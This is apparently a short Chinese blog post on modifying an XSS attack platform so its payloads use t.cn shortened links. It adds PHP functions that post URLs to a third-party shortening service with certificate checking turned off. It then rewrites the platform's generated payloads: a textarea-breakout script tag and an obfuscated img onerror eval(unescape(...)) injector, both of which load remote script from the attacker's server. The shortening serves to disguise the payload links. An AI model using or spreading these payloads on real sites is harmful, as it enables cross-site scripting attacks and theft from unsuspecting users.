- A+
时间匆忙 大牛见笑
下载请点击感谢!!!
在function.php中增加下方代码
/*t.cn短网址*/
function Vpost($url,$data){ // 模拟提交数据函数
$curl = curl_init(); // 启动一个CURL会话
curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // 对认证证书来源的检查
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); // 从证书中检查SSL加密算法是否存在
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // 模拟用户使用的浏览器
// curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转
curl_setopt($curl, CURLOPT_AUTOREFERER, 1); // 自动设置Referer
curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求
curl_setopt($curl, CURLOPT_POSTFIELDS, $data); // Post提交的数据包
curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制防止死循环
curl_setopt($curl, CURLOPT_HEADER, 0); // 显示返回的Header区域内容
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回
$tmpInfo = curl_exec($curl); // 执行操作
if (curl_errno($curl)) {
echo 'Errno'.curl_error($curl);//捕抓异常
}
curl_close($curl); // 关闭CURL会话
return $tmpInfo; // 返回数据
}
function Vurl($turl){
$url = "http://www.henshiyong.com/tools/sina-shorten-url.php";
$data ="url=".$turl."&submit=submit";
$result = Vpost($url,$data);
if ( preg_match( "/<textarea>(.*?)<\/textarea>/", $result, $match ) ) {
$tempurl= $match[1];
}
return $tempurl;
}
将project.php中186-192的代码替换成下方代码
$codeurl=Vurl(URL_ROOT."/{$project[urlKey]}?".time());
$code.=$project['code'];
$scriptShow1=StripStr("</textarea>'\"><script src=".Vurl(URL_ROOT."/{$project[urlKey]}?".time())."></script>");
$code2='var b=document.createElement("script");b.src="'.Vurl(URL_ROOT."/{$project[urlKey]}?").'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$scriptShow2=StripStr("</textarea>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
效果图: